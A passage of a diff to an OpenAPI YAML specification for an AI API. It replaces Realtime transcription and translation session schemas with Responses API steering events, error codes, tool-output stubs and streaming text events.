+ The refusal text that is finalized.
+ sequence_number:
+ type: integer
description: |
- Maximum number of output tokens for a single assistant response,
- inclusive of tool calls. Provide an integer between 1 and 4096 to
- limit output tokens, or `inf` for the maximum available tokens for a
- given model. Defaults to `inf`.
- anyOf:
- - type: integer
- - type: string
- enum:
- - inf
- x-stainless-const: true
- truncation:
- $ref: '#/components/schemas/RealtimeTruncation'
- prompt:
- $ref: '#/components/schemas/Prompt'
+ The sequence number of this event.
required:
- type
- - id
- - object
+ - item_id
+ - output_index
+ - content_index
+ - refusal
+ - sequence_number
x-oaiMeta:
- name: The session object
- group: realtime
- RealtimeTranscriptionSessionCreateRequest:
+ name: response.refusal.done
+ group: responses
+ example: |
+ {
+ "type": "response.refusal.done",
+ "item_id": "item-abc",
+ "output_index": 1,
+ "content_index": 2,
+ "refusal": "final refusal text",
+ "sequence_number": 1
+ }
+ ResponseSteerAcceptedEvent:
type: object
- title: Realtime transcription session configuration
- description: Realtime transcription session object configuration.
+ title: ResponseSteerAcceptedEvent
+ description: |
+ Emitted when steering input has been validated and queued. Acceptance means
+ the server owns the input, not that it has been applied. The successor's
+ `response.created` event is the commit point. If accepted input cannot be
+ committed, `response.steer.failed` returns it with the same steering ID.
+
+ When the response stops for client-owned tool output or approval, the input
+ remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the pending event's `required_input` stubs with
+ saved results and send one matching explicit `response.create` per parent.
+ Do not resend accepted input while it is still queued.
properties:
- turn_detection:
+ type:
+ type: string
+ enum:
+ - response.steer.accepted
+ description: The event discriminator. Always `response.steer.accepted`.
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
+ steer:
type: object
- description: |
- Configuration for turn detection. Can be set to `null` to turn off. Server VAD means that the model will detect the start and end of speech based on audio volume and respond at the end of user speech.
+ description: The accepted steering submission.
properties:
- type:
+ id:
type: string
- description: |
- Type of turn detection. Only `server_vad` is currently supported for transcription sessions.
- enum:
- - server_vad
- threshold:
- type: number
- description: |
- Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
- higher threshold will require louder audio to activate the model, and
- thus might perform better in noisy environments.
- prefix_padding_ms:
- type: integer
- description: |
- Amount of audio to include before the VAD detected speech (in
- milliseconds). Defaults to 300ms.
- silence_duration_ms:
- type: integer
- description: |
- Duration of silence to detect speech stop (in milliseconds). Defaults
- to 500ms. With shorter values the model will respond more quickly,
- but may jump in on short pauses from the user.
- input_audio_noise_reduction:
- type: object
- properties:
- type:
- $ref: '#/components/schemas/NoiseReductionType'
- description: |
- Configuration for input audio noise reduction. This can be set to `null` to turn off.
- Noise reduction filters audio added to the input audio buffer before it is sent to VAD and the model.
- Filtering the audio can improve VAD and turn detection accuracy (reducing false positives) and model performance by improving perception of the input audio.
- input_audio_format:
+ description: The ID assigned to the steering submission.
+ previous_response_id:
+ type: string
+ description: The ID of the response being steered.
+ required:
+ - id
+ - previous_response_id
+ stream_id:
type: string
- default: pcm16
- enum:
- - pcm16
- - g711_ulaw
- - g711_alaw
- description: |
- The format of input audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
- For `pcm16`, input audio must be 16-bit PCM at a 24kHz sample rate,
- single channel (mono), and little-endian byte order.
- input_audio_transcription:
- description: |
- Configuration for input audio transcription. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
- $ref: '#/components/schemas/AudioTranscription'
- include:
- type: array
- items:
- type: string
- enum:
- - item.input_audio_transcription.logprobs
description: |
- The set of items to include in the transcription. Current available items are:
- `item.input_audio_transcription.logprobs`
- RealtimeTranscriptionSessionCreateRequestGA:
+ The WebSocket lane that emitted this event. This field is present when
+ the target response's `response.create` event supplied a `stream_id`.
+ required:
+ - type
+ - sequence_number
+ - steer
+ x-oaiMeta:
+ name: response.steer.accepted
+ group: responses
+ example: |
+ {
+ "type": "response.steer.accepted",
+ "sequence_number": 2,
+ "steer": {
+ "id": "steer_456",
+ "previous_response_id": "resp_123"
+ }
+ }
+ ResponseSteerErrorCode:
+ title: ResponseSteerErrorCode
+ description: |
+ A machine-readable steering error code. Clients should handle unknown
+ values because additional codes may be introduced. Known values include:
+ - `response_not_found`: The target response is not available on this connection.
+ - `invalid_input`: The event or input failed validation.
+ - `steering_not_supported`: The model or response execution mode does not support steering.
+ - `too_many_pending_steers`: Too much steering input is pending for the response.
+ - `response_already_completed`: The response completed and is no longer accepting steering input.
+ - `response_not_active`: The response is no longer accepting steering input.
+ - `successor_creation_failed`: The successor response could not be created.
+ anyOf:
+ - type: string
+ enum:
+ - response_not_found
+ - invalid_input
+ - steering_not_supported
+ - too_many_pending_steers
+ - response_already_completed
+ - response_not_active
+ - successor_creation_failed
+ - type: string
+ ResponseSteerEvent:
type: object
- title: Realtime transcription session configuration
- description: Realtime transcription session object configuration.
+ title: ResponseSteerEvent
+ additionalProperties: false
+ description: |
+ Queues user input to steer a response on this WebSocket connection. Input
+ can contain text, images, and files. Steering is supported only for
+ single-agent responses on models and execution modes that support steering.
+ Responses bound to a conversation or using automatic compaction do not
+ support steering.
+
+ A `response.steer.accepted` event acknowledges that the server owns the
+ queued input, not that it has been applied. The successor's `response.created`
+ event is the commit point. Input that cannot be committed is returned in
+ `response.steer.failed`.
+
+ Steering may cause the active response to finish at a safe output boundary
+ with `response.incomplete` and `incomplete_details.reason` set to `steered`,
+ followed automatically by a successor `response.created`. Normal completion
+ can also be followed by an automatic successor. Automatic successors inherit
+ the previous response's settings and continue from it with the queued input.
+
+ If the response stops for client-owned tool output or approval, accepted
+ steering input remains queued and `response.steer.pending` is emitted after
+ `response.completed`. Fill the `required_input` stubs from that event with
+ saved tool results or approval decisions, and send one explicit
+ `response.create` per parent with the same `previous_response_id` and
+ WebSocket lane. Do not rerun tools or resend accepted steering input. The
+ queued input is prepended in submission order to that request's input, and
+ the explicit request retains its own settings.
+
+ This event accepts only `type`, `previous_response_id`, and `input`. Do not
+ send `stream_id`; the target response determines the WebSocket lane.
properties:
type:
type: string
- description: |
- The type of session to create. Always `transcription` for transcription sessions.
enum:
- - transcription
+ - response.steer
+ description: The event discriminator. Always `response.steer`.
x-stainless-const: true
- audio:
- type: object
- description: |
- Configuration for input and output audio.
- properties:
- input:
- type: object
- properties:
- format:
- $ref: '#/components/schemas/RealtimeAudioFormats'
- transcription:
- description: |
- Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
- $ref: '#/components/schemas/AudioTranscription'
- noise_reduction:
- type: object
- properties:
- type:
- $ref: '#/components/schemas/NoiseReductionType'
- description: |
- Configuration for input audio noise reduction. This can be set to `null` to turn off.
- Noise reduction filters audio added to the input audio buffer before it is sent to VAD and the model.
- Filtering the audio can improve VAD and turn detection accuracy (reducing false positives) and model performance by improving perception of the input audio.
- turn_detection:
- $ref: '#/components/schemas/RealtimeTurnDetection'
- include:
- type: array
- items:
- type: string
- enum:
- - item.input_audio_transcription.logprobs
- description: |
- Additional fields to include in server outputs.
-
- `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
+ previous_response_id:
+ type: string
+ description: The ID of the response to steer on this WebSocket connection.
+ input:
+ $ref: '#/components/schemas/ResponseSteerInput'
required:
- type
- RealtimeTranscriptionSessionCreateResponse:
+ - previous_response_id
+ - input
+ x-oaiMeta:
+ name: response.steer
+ group: responses
+ example: |
+ {
+ "type": "response.steer",
+ "previous_response_id": "resp_123",
+ "input": [
+ {
+ "type": "message",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "Prioritize the database rollout."
+ }
+ ]
+ }
+ ]
+ }
+ ResponseSteerFailedEvent:
type: object
+ title: ResponseSteerFailedEvent
description: |
- A new Realtime transcription session configuration.
+ Emitted when steering input is rejected or cannot be committed to a
+ successor response. Returns the original, uncommitted input so the client
+ can carry it into `response.create` when appropriate. Invalid input must
+ be corrected before retrying.
- When a session is created on the server via REST API, the session object
- also contains an ephemeral key. Default TTL for keys is 10 minutes. This
- property is not present when a session is updated via the WebSocket API.
+ Failures after acceptance include the same steering ID. Failures before an
+ ID is allocated omit `steer.id`. A lost connection or missing acknowledgement
+ leaves the outcome unknown; it is not proof that the input was rejected.
properties:
- client_secret:
+ type:
+ type: string
+ enum:
+ - response.steer.failed
+ description: The event discriminator. Always `response.steer.failed`.
+ x-stainless-const: true
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
+ steer:
type: object
- description: |
- Ephemeral key returned by the API. Only present when the session is
- created on the server via REST API.
+ description: The steering submission that could not be committed.
properties:
- value:
+ id:
type: string
description: |
- Ephemeral key usable in client environments to authenticate connections
- to the Realtime API. Use this in client-side environments rather than
- a standard API token, which should only be used server-side.
- expires_at:
- type: integer
- format: unixtime
- description: |
- Timestamp for when the token expires. Currently, all tokens expire
- after one minute.
+ The ID assigned to the steering submission, if one was allocated.
+ previous_response_id:
+ type: string
+ description: The ID of the response that was targeted for steering.
+ input:
+ $ref: '#/components/schemas/ResponseSteerInput'
required:
- - value
- - expires_at
- modalities:
- description: |
- The set of modalities the model can respond with. To disable audio,
- set this to ["text"].
- items:
- type: string
- enum:
- - text
- - audio
- input_audio_format:
- type: string
- description: |
- The format of input audio. Options are `pcm16`, `g711_ulaw`, or `g711_alaw`.
- input_audio_transcription:
- $ref: '#/components/schemas/AudioTranscription'
- turn_detection:
+ - previous_response_id
+ - input
+ error:
type: object
- description: |
- Configuration for turn detection. Can be set to `null` to turn off. Server
- VAD means that the model will detect the start and end of speech based on
- audio volume and respond at the end of user speech.
+ description: Information about why the input could not be committed.
properties:
type:
type: string
- description: |
- Type of turn detection, only `server_vad` is currently supported.
- threshold:
- type: number
- description: |
- Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
- higher threshold will require louder audio to activate the model, and
- thus might perform better in noisy environments.
- prefix_padding_ms:
- type: integer
- description: |
- Amount of audio to include before the VAD detected speech (in
- milliseconds). Defaults to 300ms.
- silence_duration_ms:
- type: integer
- description: |
- Duration of silence to detect speech stop (in milliseconds). Defaults
- to 500ms. With shorter values the model will respond more quickly,
- but may jump in on short pauses from the user.
+ enum:
+ - invalid_request_error
+ description: The error type. Always `invalid_request_error`.
+ x-stainless-const: true
+ code:
+ $ref: '#/components/schemas/ResponseSteerErrorCode'
+ message:
+ type: string
+ description: A human-readable description of the error.
+ required:
+ - type
+ - code
+ - message
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event, when the target response is
+ available and its `response.create` event supplied a `stream_id`.
required:
- - client_secret
+ - type
+ - sequence_number
+ - steer
+ - error
x-oaiMeta:
- name: The transcription session object
- group: realtime
+ name: response.steer.failed
+ group: responses
example: |
{
- "id": "sess_BBwZc7cFV3XizEyKGDCGL",
- "object": "realtime.transcription_session",
- "expires_at": 1742188264,
- "modalities": ["audio", "text"],
- "turn_detection": {
- "type": "server_vad",
- "threshold": 0.5,
- "prefix_padding_ms": 300,
- "silence_duration_ms": 200
- },
- "input_audio_format": "pcm16",
- "input_audio_transcription": {
- "model": "gpt-4o-transcribe",
- "language": null,
- "prompt": ""
+ "type": "response.steer.failed",
+ "sequence_number": 5,
+ "steer": {
+ "id": "steer_456",
+ "previous_response_id": "resp_123",
+ "input": [
+ {
+ "type": "message",
+ "role": "user",
+ "content": [
+ {
+ "type": "input_text",
+ "text": "Prioritize the database rollout."
+ }
+ ]
+ }
+ ]
},
- "client_secret": null
+ "error": {
+ "type": "invalid_request_error",
+ "code": "successor_creation_failed",
+ "message": "We couldn't start the next response. Send this steering input again with response.create."
+ }
}
- RealtimeTranscriptionSessionCreateResponseGA:
+ ResponseSteerInput:
+ title: ResponseSteerInput
+ description: |
+ Input to queue for a continuation of the response. Uses the same string or
+ input-item shape as `response.create.input`, with a non-empty array when
+ supplying input items.
+
+ Steering accepts only messages with the `user` role. Each message may
+ contain only `type`, `role`, and `content`, with `content` as a string or an
+ array of `input_text`, `input_image`, and `input_file` parts. The optional
+ `type` must be `message`. Other roles, tool outputs, and item types are not
+ supported for steering.
+ anyOf:
+ - type: string
+ title: Text input
+ description: A text input, equivalent to a message with the `user` role.
+ - $ref: '#/components/schemas/ResponseSteerInputItemList'
+ ResponseSteerInputItem:
+ title: Response steer input item
+ anyOf:
+ - $ref: '#/components/schemas/UserMessageItemParam'
+ - $ref: '#/components/schemas/FunctionCallOutputItemParam'
+ discriminator:
+ propertyName: type
+ ResponseSteerInputItemList:
+ type: array
+ title: Response steer input item list
+ description: A non-empty list of message inputs to queue for the response.
+ minItems: 1
+ items:
+ $ref: '#/components/schemas/ResponseSteerInputItem'
+ ResponseSteerPendingEvent:
type: object
- title: Realtime transcription session configuration object
+ title: ResponseSteerPendingEvent
description: |
- A Realtime transcription session configuration object.
+ Emitted when accepted steering input remains queued after the target
+ response completes. The server still owns the input. Do not resend it.
+ The successor's `response.created` event is the commit point.
+
+ When `reason` is `waiting_for_required_input`, this event follows
+ `response.completed` while the response waits for the tool results or
+ approval decisions identified by `required_input`. Copy those stubs, fill
+ their result fields using the ordinary `response.create` input schemas,
+ and submit one continuation per parent with the same `previous_response_id`
+ and WebSocket lane. Use saved results without rerunning tools. The queued
+ steering input is prepended in submission order to the continuation's
+ input. That explicit request retains its own settings.
+
+ This notification is emitted at most once per steering submission. Multiple
+ submissions for the same parent can report the same required inputs; they
+ do not each require a separate continuation.
properties:
type:
type: string
- description: |
- The type of session. Always `transcription` for transcription sessions.
enum:
- - transcription
+ - response.steer.pending
+ description: The event discriminator. Always `response.steer.pending`.
x-stainless-const: true
- id:
- type: string
- description: |
- Unique identifier for the session that looks like `sess_1234567890abcdef`.
- object:
- type: string
- description: The object type. Always `realtime.transcription_session`.
- expires_at:
+ sequence_number:
type: integer
- format: unixtime
- description: Expiration timestamp for the session, in seconds since epoch.
- include:
+ description: The sequence number for this event.
+ steer:
+ type: object
+ description: The steering submission that remains queued.
+ properties:
+ id:
+ type: string
+ description: The ID assigned to the steering submission.
+ previous_response_id:
+ type: string
+ description: The ID of the response being steered.
+ required:
+ - id
+ - previous_response_id
+ reason:
+ $ref: '#/components/schemas/ResponseSteerPendingReason'
+ required_input:
type: array
- items:
- type: string
- enum:
- - item.input_audio_transcription.logprobs
+ minItems: 1
description: |
- Additional fields to include in server outputs.
- - `item.input_audio_transcription.logprobs`: Include logprobs for input audio transcription.
- audio:
- type: object
+ Input stubs identifying outstanding client-owned tool results or
+ approval decisions. Each stub contains identifying fields only; the
+ client supplies the result before including it in `response.create`.
+ items:
+ $ref: '#/components/schemas/ResponseSteerRequiredInput'
+ stream_id:
+ type: string
description: |
- Configuration for input audio for the session.
- properties:
- input:
- type: object
- properties:
- format:
- $ref: '#/components/schemas/RealtimeAudioFormats'
- transcription:
- $ref: '#/components/schemas/AudioTranscription'
- noise_reduction:
- type: object
- description: |
- Configuration for input audio noise reduction.
- properties:
- type:
- $ref: '#/components/schemas/NoiseReductionType'
- turn_detection:
- description: |
- Configuration for turn detection. For `gpt-realtime-whisper`, this must be `null`; VAD is not supported.
- anyOf:
- - type: object
- description: |
- Configuration for turn detection. Can be set to `null` to turn off. Server
- VAD means that the model will detect the start and end of speech based on
- audio volume and respond at the end of user speech. For `gpt-realtime-whisper`, this must be `null`; VAD is not supported.
- properties:
- type:
- type: string
- description: |
- Type of turn detection, only `server_vad` is currently supported.
- threshold:
- type: number
- description: |
- Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
- higher threshold will require louder audio to activate the model, and
- thus might perform better in noisy environments.
- prefix_padding_ms:
- type: integer
- description: |
- Amount of audio to include before the VAD detected speech (in
- milliseconds). Defaults to 300ms.
- silence_duration_ms:
- type: integer
- description: |
- Duration of silence to detect speech stop (in milliseconds). Defaults
- to 500ms. With shorter values the model will respond more quickly,
- but may jump in on short pauses from the user.
- - type: 'null'
+ The WebSocket lane that emitted this event. This field is present when
+ the target response's `response.create` event supplied a `stream_id`.
required:
- type
- - id
- - object
+ - sequence_number
+ - steer
+ - reason
+ - required_input
x-oaiMeta:
- name: The transcription session object
- group: realtime
+ name: response.steer.pending
+ group: responses
example: |
{
- "id": "sess_BBwZc7cFV3XizEyKGDCGL",
- "type": "transcription",
- "object": "realtime.transcription_session",
- "expires_at": 1742188264,
- "include": ["item.input_audio_transcription.logprobs"],
- "audio": {
- "input": {
- "format": "pcm16",
- "transcription": {
- "model": "gpt-4o-transcribe",
- "language": null,
- "prompt": ""
- },
- "noise_reduction": null,
- "turn_detection": {
- "type": "server_vad",
- "threshold": 0.5,
- "prefix_padding_ms": 300,
- "silence_duration_ms": 200
- }
+ "type": "response.steer.pending",
+ "sequence_number": 10,
+ "steer": {
+ "id": "steer_456",
+ "previous_response_id": "resp_123"
+ },
+ "reason": "waiting_for_required_input",
+ "required_input": [
+ {
+ "type": "function_call_output",
+ "call_id": "call_789",
+ "name": "lookup"
}
- }
+ ]
}
- RealtimeTranslationClientEvent:
+ ResponseSteerPendingReason:
+ title: ResponseSteerPendingReason
+ description: |
+ An extensible enum describing why accepted steering input is still queued.
+ Clients should handle unknown values because additional reasons may be
+ introduced. Known values include:
+ - `waiting_for_required_input`: The response is waiting for the tool results or approval decisions identified by `required_input`.
+ anyOf:
+ - type: string
+ enum:
+ - waiting_for_required_input
+ - type: string
+ ResponseSteerRequiredInput:
+ title: ResponseSteerRequiredInput
+ description: |
+ An input stub identifying an outstanding client-owned tool result or
+ approval decision. Copy the stub and fill the result fields using the
+ corresponding `response.create` input schema. Use saved results without
+ rerunning the tool. The server does not supply results, approval decisions,
+ or safety acknowledgements in these stubs.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - type: object
+ title: Required function tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the function tool call output input schema.
+ properties:
+ type:
+ type: string
+ enum:
+ - function_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ name:
+ type: string
+ required:
+ - type
+ - call_id
+ - name
+ - type: object
+ title: Required custom tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the custom tool call output input schema. The
+ original custom tool call supplies the tool's name.
+ properties:
+ type:
+ type: string
+ enum:
+ - custom_tool_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required computer tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the computer tool call output input schema,
+ including any required `acknowledged_safety_checks`.
+ properties:
+ type:
+ type: string
+ enum:
+ - computer_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required shell tool call output
+ additionalProperties: false
+ description: |
+ Supply `output` using the shell tool call output input schema. Each
+ output entry includes `stdout`, `stderr`, and `outcome`.
+ properties:
+ type:
+ type: string
+ enum:
+ - shell_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required apply patch tool call output
+ additionalProperties: false
+ description: |
+ Supply `status` and optional `output` using the apply patch tool call
+ output input schema.
+ properties:
+ type:
+ type: string
+ enum:
+ - apply_patch_call_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ required:
+ - type
+ - call_id
+ - type: object
+ title: Required tool search output
+ additionalProperties: false
+ description: |
+ Supply `tools` using the tool search output input schema, retaining
+ `execution: "client"`.
+ properties:
+ type:
+ type: string
+ enum:
+ - tool_search_output
+ x-stainless-const: true
+ call_id:
+ type: string
+ execution:
+ type: string
+ enum:
+ - client
+ x-stainless-const: true
+ required:
+ - type
+ - call_id
+ - execution
+ - type: object
+ title: Required MCP approval response
+ additionalProperties: false
+ description: |
+ Supply `approve` using the MCP approval response input schema. An
+ optional `reason` can be supplied when denying the request. The original
+ approval request identifies the tool and server.
+ properties:
+ type:
+ type: string
+ enum:
+ - mcp_approval_response
+ x-stainless-const: true
+ approval_request_id:
+ type: string
+ required:
+ - type
+ - approval_request_id
+ ResponseStreamEvent:
+ description: Event emitted while a response is streamed.
+ anyOf:
+ - $ref: '#/components/schemas/ResponseAudioDeltaEvent'
+ - $ref: '#/components/schemas/ResponseAudioDoneEvent'
+ - $ref: '#/components/schemas/ResponseAudioTranscriptDeltaEvent'
+ - $ref: '#/components/schemas/ResponseAudioTranscriptDoneEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDeltaEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDoneEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallInterpretingEvent'
+ - $ref: '#/components/schemas/ResponseCompletedEvent'
+ - $ref: '#/components/schemas/ResponseContentPartAddedEvent'
+ - $ref: '#/components/schemas/ResponseContentPartDoneEvent'
+ - $ref: '#/components/schemas/ResponseCreatedEvent'
+ - $ref: '#/components/schemas/ResponseErrorEvent'
+ - $ref: '#/components/schemas/ResponseFileSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseFileSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseFileSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandAddedStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandDeltaStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandDoneStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDeltaStreamingEvent'
+ x-stainless-skip:
+ - go
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDoneStreamingEvent'
+ - $ref: '#/components/schemas/ResponseInProgressEvent'
+ - $ref: '#/components/schemas/ResponseFailedEvent'
+ - $ref: '#/components/schemas/ResponseIncompleteEvent'
+ - $ref: '#/components/schemas/ResponseOutputItemAddedEvent'
+ - $ref: '#/components/schemas/ResponseOutputItemDoneEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryPartAddedEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryPartDoneEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryTextDeltaEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryTextDoneEvent'
+ - $ref: '#/components/schemas/ResponseReasoningTextDeltaEvent'
+ - $ref: '#/components/schemas/ResponseReasoningTextDoneEvent'
+ - $ref: '#/components/schemas/ResponseRefusalDeltaEvent'
+ - $ref: '#/components/schemas/ResponseRefusalDoneEvent'
+ - $ref: '#/components/schemas/ResponseTextDeltaEvent'
+ - $ref: '#/components/schemas/ResponseTextDoneEvent'
+ - $ref: '#/components/schemas/ResponseWebSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseWebSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseWebSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallGeneratingEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallPartialImageEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallFailedEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseMCPListToolsCompletedEvent'
+ - $ref: '#/components/schemas/ResponseMCPListToolsFailedEvent'
+ - $ref: '#/components/schemas/ResponseMCPListToolsInProgressEvent'
+ - $ref: '#/components/schemas/ResponseOutputTextAnnotationAddedEvent'
+ - $ref: '#/components/schemas/ResponseQueuedEvent'
+ - $ref: '#/components/schemas/ResponseCustomToolCallInputDeltaEvent'
+ - $ref: '#/components/schemas/ResponseCustomToolCallInputDoneEvent'
discriminator:
propertyName: type
- description: |
- A Realtime translation client event.
+ ResponseStreamOptions:
anyOf:
- - $ref: '#/components/schemas/RealtimeTranslationClientEventSessionUpdate'
- - $ref: '#/components/schemas/RealtimeTranslationClientEventInputAudioBufferAppend'
- - $ref: '#/components/schemas/RealtimeTranslationClientEventSessionClose'
- RealtimeTranslationClientEventInputAudioBufferAppend:
+ - description: |
+ Options for streaming responses. Only set this when you set `stream: true`.
+ type: object
+ properties:
+ include_obfuscation:
+ type: boolean
+ description: |
+ When true, stream obfuscation will be enabled. Stream obfuscation adds
+ random characters to an `obfuscation` field on streaming delta events to
+ normalize payload sizes as a mitigation to certain side-channel attacks.
+ These obfuscation fields are included by default, but add a small amount
+ of overhead to the data stream. You can set `include_obfuscation` to
+ false to optimize for bandwidth if you trust the network links between
+ your application and the OpenAI API.
+ - type: 'null'
+ ResponseTextDeltaEvent:
type: object
- description: |
- Send this event to append audio bytes to the translation session input audio buffer.
-
- WebSocket translation sessions accept base64-encoded 24 kHz PCM16 mono
- little-endian raw audio bytes. Unsupported websocket audio formats return a
- validation error because lower-quality audio materially degrades translation
- quality.
-
- Translation consumes 200 ms engine frames. For best realtime behavior, append
- audio in 200 ms chunks. If a chunk is shorter, the server buffers it until it
- has enough audio for one frame. If a chunk is longer, the server splits it into
- 200 ms frames and enqueues them back-to-back.
-
- Keep appending silence while the session is active. If a client stops sending
- audio and later resumes, model time treats the resumed audio as contiguous with
- the previous audio rather than as a real-world pause.
+ description: Emitted when there is an additional text delta.
properties:
- event_id:
- type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.output_text.delta`.
+ enum:
+ - response.output_text.delta
x-stainless-const: true
- description: The event type, must be `session.input_audio_buffer.append`.
- const: session.input_audio_buffer.append
- audio:
+ item_id:
type: string
- description: Base64-encoded 24 kHz PCM16 mono audio bytes.
- required:
- - type
- - audio
- x-oaiMeta:
- name: session.input_audio_buffer.append
- group: realtime
- example: |
- {
- "event_id": "event_456",
- "type": "session.input_audio_buffer.append",
- "audio": "Base64EncodedAudioData"
- }
- RealtimeTranslationClientEventSessionClose:
- type: object
- description: |
- Gracefully close the realtime translation session. The server flushes pending
- input audio and emits any remaining translated output before closing the
- session.
- properties:
- event_id:
+ description: |
+ The ID of the output item that the text delta was added to.
+ output_index:
+ type: integer
+ description: |
+ The index of the output item that the text delta was added to.
+ content_index:
+ type: integer
+ description: |
+ The index of the content part that the text delta was added to.
+ delta:
type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
- type:
- x-stainless-const: true
- description: The event type, must be `session.close`.
- const: session.close
+ description: |
+ The text delta that was added.
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
+ logprobs:
+ type: array
+ description: |
+ The log probabilities of the tokens in the delta.
+ items:
+ $ref: '#/components/schemas/ResponseLogProb'
required:
- type
+ - item_id
+ - output_index
+ - content_index
+ - delta
+ - sequence_number
+ - logprobs
x-oaiMeta:
- name: session.close
- group: realtime
+ name: response.output_text.delta
+ group: responses
example: |
{
- "event_id": "event_789",
- "type": "session.close"
+ "type": "response.output_text.delta",
+ "item_id": "msg_123",
+ "output_index": 0,
+ "content_index": 0,
+ "delta": "In",
+ "sequence_number": 1
}
- RealtimeTranslationClientEventSessionUpdate:
+ ResponseTextDoneEvent:
type: object
- description: |
- Send this event to update the translation session configuration. Translation
- sessions support updates to `audio.output.language`, `audio.input.transcription`,
- and `audio.input.noise_reduction`.
+ description: Emitted when text content is finalized.
properties:
- event_id:
- type: string
- maxLength: 512
- description: Optional client-generated ID used to identify this event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.output_text.done`.
+ enum:
+ - response.output_text.done
x-stainless-const: true
- description: The event type, must be `session.update`.
- const: session.update
- session:
- $ref: '#/components/schemas/RealtimeTranslationSessionUpdateRequest'
+ item_id:
+ type: string
description: |
- Translation session fields to update. The session `type` and `model` are set
- at creation and cannot be changed with `session.update`.
- required:
- - type
- - session
- x-oaiMeta:
- name: session.update
- group: realtime
- example: |
- {
- "type": "session.update",
- "session": {
- "audio": {
- "input": {
- "transcription": {
- "model": "gpt-realtime-whisper"
- },
- "noise_reduction": null
- },
- "output": {
- "language": "es"
- }
- }
- }
- }
- RealtimeTranslationClientSecretCreateRequest:
- type: object
- title: Realtime translation client secret creation request
- description: |
- Create a translation session and client secret for the Realtime API.
- properties:
- expires_after:
- type: object
- title: Client secret expiration
+ The ID of the output item that the text content is finalized.
+ output_index:
+ type: integer
description: |
- Configuration for the client secret expiration. Expiration refers to the time after which
- a client secret will no longer be valid for creating sessions. The session itself may
- continue after that time once started. A secret can be used to create multiple sessions
- until it expires.
- properties:
- anchor:
- type: string
- enum:
- - created_at
- description: |
- The anchor point for the client secret expiration, meaning that `seconds` will be added to the `created_at` time of the client secret to produce an expiration timestamp. Only `created_at` is currently supported.
- default: created_at
- x-stainless-const: true
- seconds:
- type: integer
- format: int64
- description: |
- The number of seconds from the anchor point to the expiration. Select a value between `10` and `7200` (2 hours). This default to 600 seconds (10 minutes) if not specified.
- minimum: 10
- maximum: 7200
- default: 600
- session:
- $ref: '#/components/schemas/RealtimeTranslationSessionCreateRequest'
- required:
- - session
- RealtimeTranslationClientSecretCreateResponse:
- type: object
- title: Realtime translation session and client secret
- description: |
- Response from creating a translation session and client secret for the Realtime API.
- properties:
- value:
- type: string
- description: The generated client secret value.
- expires_at:
+ The index of the output item that the text content is finalized.
+ content_index:
type: integer
- format: unixtime
